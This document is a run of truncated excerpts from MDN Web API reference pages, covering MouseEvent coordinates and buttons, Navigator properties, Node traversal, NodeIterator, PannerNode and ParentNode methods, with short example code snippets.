ed for all mouse events types. syntax var buttonpressed = instanceofmouseevent.button return value a number representing a given button: 0: main button pressed, usually the left button or the un-initialized state 1: auxiliary button pressed, usually the wheel button or the middle button (if present) 2: secondary button pressed, usually the right button 3: fourth button, typically the browser back button 4: fifth button, typically the browser forward button as noted above, buttons may be configured differently to the standard "left to right" layout. a mouse configured for left-handed use may have the button actions reversed. some pointing devices only have one button and use keyboard or other input mechanisms to indicate main, secondary, auxilary, etc. others may have many button...
MouseEvent.buttons - Web APIs
rn value a number representing one or more buttons. for more than one button pressed simultaneously, the values are combined (e.g., 3 is primary + secondary). 0 : no button or un-initialized 1 : primary button (usually the left button) 2 : secondary button (usually the right button) 4 : auxiliary button (usually the mouse wheel button or middle button) 8 : 4th button (typically the "browser back" button) 16 : 5th button (typically the "browser forward" button) example this example logs the buttons property when you trigger a mousedown event. html <p>click anywhere with one or more mouse buttons.</p> <pre id="log">buttons: </pre> javascript let log = document.createtextnode('?'); // let log = new text('?'); function logbuttons(e) { log.data = `${e.buttons} (${e.type})`...
MouseEvent.clientX - Web APIs
ate within the page). for example, clicking on the left edge of the client area will always result in a mouse event with a clientx value of 0, regardless of whether the page is scrolled horizontally. syntax var x = instanceofmouseevent.clientx return value a double floating point value, as redefined by the cssom view module. originally, this property was defined as a long integer. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove event. html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.scr...
MouseEvent.clientY - Web APIs
dinate within the page). for example, clicking on the top edge of the client area will always result in a mouse event with a clienty value of 0, regardless of whether the page is scrolled vertically. syntax var y = instanceofmouseevent.clienty return value a double floating point value, as redefined by the cssom view module. originally, this property was defined as a long integer. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove event. html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.scr...
MouseEvent.offsetX - Web APIs
the offsetx read-only property of the mouseevent interface provides the offset in the x coordinate of the mouse pointer between that event and the padding edge of the target node. syntax var xoffset = instanceofmouseevent.offsetx; return value a double floating point value. early versions of the spec defined this as an integer. see the browser compatibility section for details. specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification. working draft initial definition ...
MouseEvent.offsetY - Web APIs
the offsety read-only property of the mouseevent interface provides the offset in the y coordinate of the mouse pointer between that event and the padding edge of the target node. syntax var yoffset = instanceofmouseevent.offsety; return value a double floating point value. early versions of the spec defined this as an integer. see the browser compatibility section for details. specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification. working draft initial definition ...
MouseEvent.pageY - Web APIs
Web › API › MouseEvent › pageY
the pagey read-only property of the mouseevent interface returns the y (vertical) coordinate in pixels of the event relative to the whole document. this property takes into account any vertical scrolling of the page. syntax var pos = event.pagey; originally, this property was defined as a long integer. the cssom view module redefined it as a double float. see the browser compatibility section for details. examples var pagey = event.pagey; specifications specification status comment css object model (cssom) view modulethe definition of 'pagey' in that specification. working draft redefined from long to double. touch eventsthe definition of 'pagey' in that specification. unknown initial definition. ...
MouseEvent.screenX - Web APIs
the screenx read-only property of the mouseevent interface provides the horizontal coordinate (offset) of the mouse pointer in global (screen) coordinates. syntax var x = instanceofmouseevent.screenx return value a double floating point value. early versions of the spec defined this as an integer referring to the number of pixels. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove event. html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, $...
MouseEvent.screenY - Web APIs
the screeny read-only property of the mouseevent interface provides the vertical coordinate (offset) of the mouse pointer in global (screen) coordinates. syntax var y = instanceofmouseevent.screeny return value a double floating point value. early versions of the spec defined this as an integer referring to the number of pixels. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove event. html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e...
MouseScrollEvent - Web APIs
instead use the standard wheelevent. ...
MouseWheelEvent - Web APIs
instead use the standard wheelevent. ...
msFirstPaint - Web APIs
standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msfirstpaint is a read-only property which gets the time when the document loaded by the window object began to be displayed to the user. put another way, msfirstpaint utilizes the browser to measure when the first content completes being painted in the window. it is available from javascript and can be reported from the field. this proprietary property is specific to internet explorer and microsoft edge. syntax p = object.msfirstpaint; value an integer value that represents the time when the document began to be displayed or 0 if the document could not be loaded. the ...
MutationObserver.disconnect() - Web APIs
mutations. the observer can be reused by calling its observe() method again. syntax mutationobserver.disconnect() parameters none. return value undefined. note: all notifications of mutations that have already been detected, but not yet reported to the observer, are discarded. usage notes if the element being observed is removed from the dom, and then subsequently released by the browser's garbage collection mechanism, the mutationobserver is likewise deleted. example this example creates an observer, then disconnects from it, leaving it available for possible reuse. const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observe...
NameList - Web APIs
Web › API › NameList
try to avoid using it. note: although this interface was previously implemented in gecko, there was no way to actually create one. namelist has been removed, effective with gecko 10.0 the namelist interface provides an abstraction for an ordered collection of name and namespace value pairs. items can be accessed by a 0-based index. the dom spec does not specify how the collection is to be implemented. ...
NavigationPreloadManager - Web APIs
the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network. return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreloadmanager' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreloadmanager...
Navigation Timing API - Web APIs
cuting the window's load handler, and so forth. interfaces performance the window.performance property returns a performance object. while this interface is defined by the high resolution time api, the navigation timing api adds two properties: timing and navigation, of the types below. performancenavigationtiming provides methods and properties to store and retrieve metrics regarding the browser's document navigation events. for example, this interface can be used to determine how much time it takes to load or unload a document. performancetiming used as the type for the value of timing, objects of this type contain timing information that can provide insight into web page performance. performancenavigation the type used to return the value of navigation, which contains inform...
Navigator.buildID - Web APIs
Web › API › Navigator › buildID
20181001000000 in firefox 64 onwards. syntax buildid = navigator.buildid; value a string representing the build identifier of the application. the build id is in the form yyyymmddhhmmss. ...
Navigator.clipboard - Web APIs
examples the following code uses navigator.clipboard to access the system clipboard in order to read the contents of the clipboard. navigator.clipboard.readtext().then( cliptext => document.queryselector(".cliptext").innertext = cliptext); this snippet replaces the contents of the element whose class is "cliptext" with the text contents of the clipboard. perhaps this code is being used in a browser extension that displays the current clipboard contents, automatically updating periodically or when specific events fire. if the clipboard is empty or doesn't contain text, the "cliptext" element's contents are cleared. this happens because readtext() returns an empty string if the clipboard is empty or doesn't contain text. specifications specification status comment ...
Navigator.geolocation - Web APIs
the navigator.geolocation read-only property returns a geolocation object that gives web content access to the location of the device. this allows a web site or app to offer customized results based on the user's location. note: for security reasons, when a web page tries to access location information, the user is notified and asked to grant permission. be aware that each browser has its own policies and methods for requesting this permission. syntax geo = navigator.geolocation specifications specification status comment geolocation apithe definition of 'navigator.geolocation' in that specification. recommendation initial definition ...
Navigator.getUserMedia() - Web APIs
rorcallback when the call fails, the function specified in the errorcallback is invokedwith a mediastreamerror object as its sole argument; this object is is modeled on domexception. see {anch("errors")}} below for a list of the errors which can occur. return value undefined. errors examples width and height here's an example of using getusermedia(), including code to cope with various browsers' prefixes. note that this is the deprecated way of doing it: see the examples section under the mediadevices.getusermedia() for modern examples. navigator.getusermedia = navigator.getusermedia || navigator.webkitgetusermedia || navigator.mozgetusermedia; if (navigator.getusermedia) { navigator.getusermedia({ audio: true, video: { width: 12...
Navigator.maxTouchPoints - Web APIs
the maxtouchpoints read-only property of the navigator interface returns the maximum number of simultaneous touch contact points are supported by the current device. syntax touchpoints = navigator.maxtouchpoints; example if (navigator.maxtouchpoints > 1) { // browser supports multi-touch } specifications specification status comment pointer events – level 2the definition of 'maxtouchpoints' in that specification. recommendation non-stable version. pointer eventsthe definition of 'maxtouchpoints' in that specification. obsolete initial definition. ...
Navigator.mediaSession - Web APIs
this information may, in turn, be shared with the device and/or operating system in order to a device's standard media control user experience to describe and control the playback of the media. in addition, the mediasession interface provides the setactionhandler() method, which lets you receive events when the user engages device controls such as either onscreen or physical play, pause, seek, and other similar controls. ...
msSaveBlob - Web APIs
saved. defaultname the file name to be used when saving file. return value true is returned as long as the download notification bar is displayed, or false if a failure occured. notes when a site calls this method, the behavior is the same as when windows internet explorer downloads a file with the following in the header, where x-download-options removes the file open button from the browser file download dialog: content-length: <blob.size> content-type: <blob.type> content-disposition: attachment;filename=<defaultname> x-download-options: noopen specifications not part of any specifications. ...
Navigator.productSub - Web APIs
syntax prodsub = window.navigator.productsub prodsub is a string. example <script> function prodsub() { var dt = document.getelementbyid("d").childnodes[0]; dt.data = window.navigator.productsub; } </script> <button onclick="prodsub();">productsub</button> // returns: 20010725 notes on ie, this property returns undefined. on apple safari and google chrome this property always returns 20030107. ...
Navigator.registerContentHandler() - Web APIs
"application/vnd.mozilla.maybe.feed", "http://www.example.tld/?foo=%s", "my feed reader" ); notes for firefox 2 and above, only the application/vnd.mozilla.maybe.feed, application/atom+xml, and application/rss+xml mime types are supported. all values have the same effect, and the registered handler will receive feeds in all atom and rss versions (see bug 391286). firefox is the only browser that implemented this feature, and it wasn't implemented to match the standard. this feature has since been removed from the html standard and shouldn't be used. specifications specification status comment html 5.2the definition of 'registercontenthandler()' in that specification. recommendation this feature is present in html 5.2, but has since been removed ...
Navigator.requestMediaKeySystemAccess() - Web APIs
one parameter: mediakeysystemaccess a mediakeysystemaccess object representing the media key system configuration described by keysystem and supportedconfigurations exceptions in case of an error, the returned promise is rejected with a domexception whose name indicates what kind of error occurred. notsupportederror either the specified keysystem isn't supported by the platform or the browser, or none of the configurations specified by supportedconfigurations can be satisfied (if, for example, none of the codecs specified in contenttype are available). typeerror either keysystem is an empty string or the supportedconfigurations array is empty. specifications specification status comment encrypted media extensionsthe definition of 'requestmediakeysystemac...
Navigator.serviceWorker - Web APIs
the navigator.serviceworker read-only property returns the serviceworkercontainer object for the associated document, which provides access to registration, removal, upgrade, and communication with the serviceworker. the feature may not be available in private mode. syntax var workercontainerinstance = navigator.serviceworker; value serviceworkercontainer examples this code checks if the browser supports service workers. if ('serviceworker' in navigator) { // supported! } specifications specification status comment service workersthe definition of 'navigator.serviceworker' in that specification. working draft initial definition. ...
Navigator.vendorSub - Web APIs
the value of the navigator.vendorsub property is always the empty string, in any browser. syntax vensub = window.navigator.vendorsub value the empty string specifications specification status comment html living standardthe definition of 'navigatorid: vendorsub' in that specification. living standard initial definition ...
NavigatorConcurrentHardware - Web APIs
he number of logical processor cores is a way to measure the number of threads which can effectively be run at once without them having to share cpus. modern computers have multiple physical cores in their cpu (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. so a four-core cpu may return 8. the browser may, however, choose to reduce the number in order to represent more accurately the number of workers that can run at once properties navigatorconcurrenthardware.hardwareconcurrency read only returns the number of logical processors which may be available to the user agent. this value is always at least 1, and will be 1 if the actual number of logical processors can't be determined. met...
NavigatorID.platform - Web APIs
returns a string representing the platform of the browser. the specification allows browsers to always return the empty string, so don't rely on this property to get a reliable answer. syntax platform = navigator.platform value a domstring identifying the platform on which the browser is running, or an empty string if the browser declines to (or is unable to) identify the platform. platform is a string that must be an empty string or a string representing the platform on which the browser is executing. for example: "macintel", "win32", "freebsd i386", "webtv os" example console.log(navigator.platform); usage notes most browsers, including chrome, edge, and firefox 63 and later, return "win32" even if running on a 64-bit version of windows. internet explorer and versions of firefox p...
NavigatorLanguage.language - Web APIs
syntax const lang = navigator.language value a domstring. lang stores a string representing the language version as defined in bcp 47. examples of valid language codes include "en", "en-us", "fr", "fr-fr", "es-es", etc. note that in safari on ios prior to 10.2, the country code returned is lowercase: "en-us", "fr-fr" etc. ...
NavigatorLanguage.languages - Web APIs
ibed using bcp 47 language tags. in the returned array they are ordered by preference with the most preferred language first. the value of navigator.language is the first element of the returned array. when its value changes, as the user's preferred languages are changed a languagechange event is fired on the window object. the accept-language http header in every http request from the user's browser uses the same value for the navigator.languages property except for the extra qvalues (quality values) field (e.g. en-us;q=0.8). syntax preferredlanguages = globalobj.navigator.languages examples navigator.language //"en-us" navigator.languages //["en-us", "zh-cn", "ja-jp"] specifications specification status comment html living standardthe definition of '...
NavigatorLanguage - Web APIs
s methods and properties related to the language of the navigator. there is no object of type navigatorlanguage, but other interfaces, like navigator or workernavigator, implement it. properties the navigatorlanguage interface doesn't inherit any property. navigatorlanguage.language read only returns a domstring representing the preferred language of the user, usually the language of the browser ui. the null value is returned when this is unknown. navigatorlanguage.languages read only returns an array of domstring representing the languages known to the user, by order of preference. methods the navigatorlanguage interface neither implements, nor inherit any method. specifications specification status comment html living standardthe definition of 'nav...
NavigatorPlugins - Web APIs
the navigatorplugins mixin adds to the navigator interface methods and properties for discovering and interacting with plugins installed into the browser. properties navigatorplugins.mimetypes read only returns an mimetypearray listing the mime types supported by the browser. navigatorplugins.plugins read only returns a pluginarray listing the plugins installed in the browser. methods the navigatorplugins interface doesn't inherit any methods. navigatorplugins.javaenabled() read only returns a boolean flag indicating whether the host browser is java-enabled or not. specifications specification status comment html living standardthe definition of 'navigatorplugins' in that specification. living standard initial definition. ...
NetworkInformation.downlink - Web APIs
second, rounded to the nearest multiple of 25 kilobits per seconds. this value is based on recently observed application layer throughput across recently active connections, excluding connections made to a private address space. in the absence of recent bandwidth measurement data, the attribute value is determined by the properties of the underlying connection technology. note that chrome-based browsers do not conform to the specification, and arbitrarily cap the reported downlink at a maximum of 10 mbps as an anti-fingerprinting measure. similar caps exist for the reported latency. syntax var downlink = networkinformation.downlink value a double. specifications specification status comment network information apithe definition of 'downlink' in that specification...
Node.insertBefore() - Web APIs
Web › API › Node › insertBefore
node the parent of the newly inserted node. newnode the node to be inserted. referencenode the node before which newnode is inserted. if this is null, then newnode is inserted at the end of parentnode's child nodes. note: referencenode is not an optional parameter. you must explicitly pass a node or null. failing to provide it or passing invalid values may behave differently in different browser versions. return value returns the added child (unless newnode is a documentfragment, in which case the empty documentfragment is returned). example example 1 <div id="parentelement"> <span id="childelement">foo bar</span> </div> <script> // create the new node to insert let newnode = document.createelement("span") // get a reference to the parent node let parentdiv = document.getele...
Node.localName - Web APIs
Web › API › Node › localName
qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xml...
Node.namespaceURI - Web APIs
Web › API › Node › namespaceURI
e node is not in a namespace. when the node is a document, it returns the xml namespace for the current document. in dom4 this api was moved from node to the element and attr interfaces. syntax namespace = node.namespaceuri example in this snippet, a node is being examined for its node.localname and its namespaceuri. if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>. if (node.localname == "browser" && node.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul browser } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope. the namespace uri of a node is frozen at the...
Node.nextSibling - Web APIs
Web › API › Node › nextSibling
therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get. ...
Node.nodeName - Web APIs
Web › API › Node › nodeName
nt.getelementbyid("d1"); var text_field = document.getelementbyid("t"); text_field.value = div1.nodename; in xhtml (or any other xml format), text_field's value would read "div". however, in html, text_field's value would read "div", because nodename and tagname return in upper case on html elements in doms flagged as html documents. read more details on nodename case sensitivity in different browsers. note that the element.tagname property could have been used instead, since nodename has the same value as tagname for an element. bear in mind, however, that nodename will return "#text" for text nodes while tagname will return undefined. specifications specification status comment domthe definition of 'nodename' in that specification. living standard ...
Node.nodePrincipal - Web APIs
try to avoid using it. the node.nodeprincipal read-only property returns the nsiprincipal object representing current security context of the node. note: this property exists on all nodes (html, svg, mathml, xul, etc.), but only if the script trying to use it has chrome privileges. syntax principalobj = node.nodeprincipal value an nsiprincipal object representing the node's security context. ...
Node.previousSibling - Web APIs
mmediately preceding the specified one in its parent's childnodes list, or null if the specified node is the first in that list. syntax previousnode = node.previoussibling; example <img id="b0"> <img id="b1"> <img id="b2"> console.log(document.getelementbyid("b1").previoussibling); // <img id="b0"> console.log(document.getelementbyid("b2").previoussibling.id); // "b1" notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup. therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get. see whitespace in the dom and w3c dom 3 faq: why are some text nodes empty? for more information. to navigate the opposite way throu...
Node.rootNode - Web APIs
Web › API › Node › rootNode
d. the node.rootnode read-only property returns a node object representing the topmost node in the tree, or the current node if it's the topmost node in the tree. this is found by walking backward along node.parentnode until the top is reached. syntax rootnode = node.rootnode; value a node object representing the topmost node in the tree. example running the following line in supporting browsers should return a reference to the html/document node: console.log(document.body.rootnode); notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup. therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get. see whitespac...
NodeFilter.acceptNode() - Web APIs
or nodes to be skipped by the nodeiterator or treewalker object. the children of skipped nodes are still considered. this is treated as "skip this node but not its children". the function should return nodefilter.filter_accept, which causes the treewalker to return the node, nodefilter.filter_reject, which causes the treewalker to ignore the entire subtree, or nodefilter.filter_skip. the browser doesn't provide any object implementing this method. it is the user who is expected to write an object implementing the nodefilter interface, tailoring the acceptnode() method to its needs, and using it with some treewalker or nodeiterator objects. syntax result = nodefilter.acceptnode(node) parameters node is a node being the object to check against the filter. example var nodeitera...
NodeFilter - Web APIs
it is the user who is expected to write one, tailoring the acceptnode() method to its needs, and using it with some treewalker or nodeiterator objects. properties this interface neither implements nor inherits any properties. ...
NodeIterator.detach() - Web APIs
en called, calls to other methods on nodeiterator would raise the invalid_state_err exception. syntax nodeiterator.detach(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodeiterator.detach(); // detaches the iterator nodeiterator.nextnode(); // throws an invalid_state_err exception specifications specification status comment domthe definition of 'nodeiterator.detach' in that specification. living standard transformed in a no-op document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.detach' in that specification. obsolete initial definition. ...
NodeIterator.nextNode() - Web APIs
the nodeiterator.nextnode() method returns the next node in the set represented by the nodeiterator and advances the position of the iterator within the set. the first call to nextnode() returns the first node in the set. this method returns null when there are no nodes left in the set. in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if this method is called after the nodeiterator.detach()method. recent browsers never throw. syntax node = nodeiterator.nextnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode ...
NodeIterator.previousNode() - Web APIs
the nodeiterator.previousnode() method returns the previous node in the set represented by the nodeiterator and moves the position of the iterator backwards within the set. this method returns null when the current node is the first node in the set. in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if this method is called after the nodeiterator.detach()method. recent browsers never throw. syntax node = nodeiterator.previousnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // retur...
NonDocumentTypeChildNode.nextElementSibling - Web APIs
dnode, parentnode, and nondocumenttypechildnode. this method is now defined on the former. the element and characterdata interfaces implemented the new interface. element traversal specificationthe definition of 'elementtraversal.nextelementsibling' in that specification. obsolete added its initial definition to the elementtraversal pure interface and use it on element. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnextelementsiblingchrom...
Notification.Notification() - Web APIs
cation = new notification(title, options); parameters title defines a title for the notification, which is shown at the top of the notification window. options optional an options object containing any custom settings that you want to apply to the notification. the possible options are: dir: the direction in which to display the notification. it defaults to auto, which just adopts the browser's language setting behavior, but you can override that behaviour by setting values of ltr and rtl (although most browsers seem to ignore these settings.) lang: the notification's language, as specified using a domstring representing a bcp 47 language tag. see the sitepoint iso 2 letter language codes page for a simple reference. badge: a usvstring containing the url of the image used to rep...
Notification.dir - Web APIs
Web › API › Notification › dir
note: this feature is available in web workers. the dir read-only property of the notification interface indicates the text direction of the notification, as specified in the dir option of the notification() constructor. syntax var direction = notification.dir; value a domstring specifying the text direction. possible values are: auto: adopts the browser's language setting behaviour (the default.) ltr: left to right. rtl : right to left. note: most browsers seem to ignore explicit ltr and rtl settings, and just go with the browser-wide setting. examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor. var options = { body: 'do you like my body?', dir: 'rtl' } var ...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
t to create. init optional options are as follows: renderedbuffer: the rendered audiobuffer containing the audio data. return value a new offlineaudiocompletionevent object instance. specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetofflineaudiocompletione...
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
lineaudiocompletionevent interface is an audiobuffer containing the result of processing an offlineaudiocontext. syntax var buffer = offlineaudiocompletioneventinstance.renderedbuffer; value an audiobuffer. specifications specification status comment web audio apithe definition of 'renderedbuffer' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrenderedbufferchrome ...
OfflineAudioCompletionEvent - Web APIs
the web audio api offlineaudiocompletionevent interface represents events that occur when the processing of an offlineaudiocontext is terminated. the complete event implements this interface. note: this interface is marked as deprecated; it is still supported for legacy reasons, but it will soon be superseded when the promise version of offlineaudiocontext.startrendering is supported in browsers, which will no longer need it. constructor offlineaudiocompletionevent.offlineaudiocompletionevent creates a new offlineaudiocompletionevent object instance. properties also inherits properties from its parent, event. offlineaudiocompletionevent.renderedbuffer read only an audiobuffer containing the result of processing an offlineaudiocontext. methods inherits methods from its paren...
OfflineAudioContext.startRendering() - Web APIs
the startrendering() method of the offlineaudiocontext interface starts rendering the audio graph, taking into account the current connections and the current scheduled changes. the complete event (of type offlineaudiocompletionevent) is raised when the rendering is finished, containing the resulting audiobuffer in its renderedbuffer property. browsers currently support two versions of the startrendering() method — an older event-based version and a newer promise-based version. the former will eventually be removed, but currently both mechanisms are provided for legacy reasons. syntax event-based version: offlineaudioctx.startrendering(); offlineaudioctx.oncomplete = function(e) { // e.renderedbuffer contains the output buffer } promise-based version: offlineaudioctx.startrenderi...
OscillatorNode.setPeriodicWave() - Web APIs
which is the value at which the oscillator starts. 0 is good here, because we want to start the curve at the middle of the [-1.0; 1.0] range. the second and subsequent values are sine and cosine components. you can think of it as the result of a fourier transform, where you get frequency domain values from time domain value. here, with createperiodicwave(), you specify the frequencies, and the browser performs a an inverse fourier transform to get a time domain buffer for the frequency of the oscillator. here, we only set one component at full volume (1.0) on the fundamental tone, so we get a sine wave. specifications specification status comment web audio apithe definition of 'setperiodicwave' in that specification. working draft ...
PageTransitionEvent - Web APIs
} properties this interface also inherits properties from its parent, event. pagetransitionevent.persisted read only indicates if the document is loading from a cache. example html <!doctype html> <html> <body> </body> </html> javascript window.addeventlistener('pageshow', myfunction); function myfunction(event) { if (event.persisted) { alert("the page was cached by the browser"); } else { alert("the page was not cached by the browser"); } } specifications specification status comment html living standardthe definition of 'pagetransitionevent' in that specification. living standard initial definition ...
PannerNode.distanceModel - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
PannerNode.maxDistance - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
PannerNode.panningModel - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
PannerNode.setOrientation() - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
PannerNode.setPosition() - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
PannerNode.setVelocity() - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
PannerNode - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
ParentNode.append() - Web APIs
Web › API › ParentNode › append
t nodes. differences from node.appendchild(): parentnode.append() allows you to also append domstring objects, whereas node.appendchild() only accepts node objects. parentnode.append() has no return value, whereas node.appendchild() returns the appended node object. parentnode.append() can append several nodes and strings, whereas node.appendchild() can only append one node. syntax // [throws, unscopable] parentnode.append(...nodesordomstrings) // returns undefined parameters nodes a set of node or domstring objects to insert. exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. examples appending an element let parent = document.createelement("div") let p = document.createelement("p") parent.append(p) console.log(parent.ch...
ParentNode.querySelector() - Web APIs
tching the selector list, use queryselectorall() instead. note: this method is implemented as document.queryselector(), documentfragment.queryselector() and element.queryselector(). syntax element = parentnode.queryselector(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid compound selector list supported by the browser; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. multiple selectors may be specified by separating them using commas. note: characters which are not part of standard css syntax must be escaped using a backslash character. since javascript also uses backspace escaping, special care must ...
ParentNode.replaceChildren() - Web APIs
if no replacement objects are specified, then the parentnode is emptied of all child nodes. exceptions hierarchyrequesterror: the constraints of the node tree are violated. ...
PaymentAddress.region - Web APIs
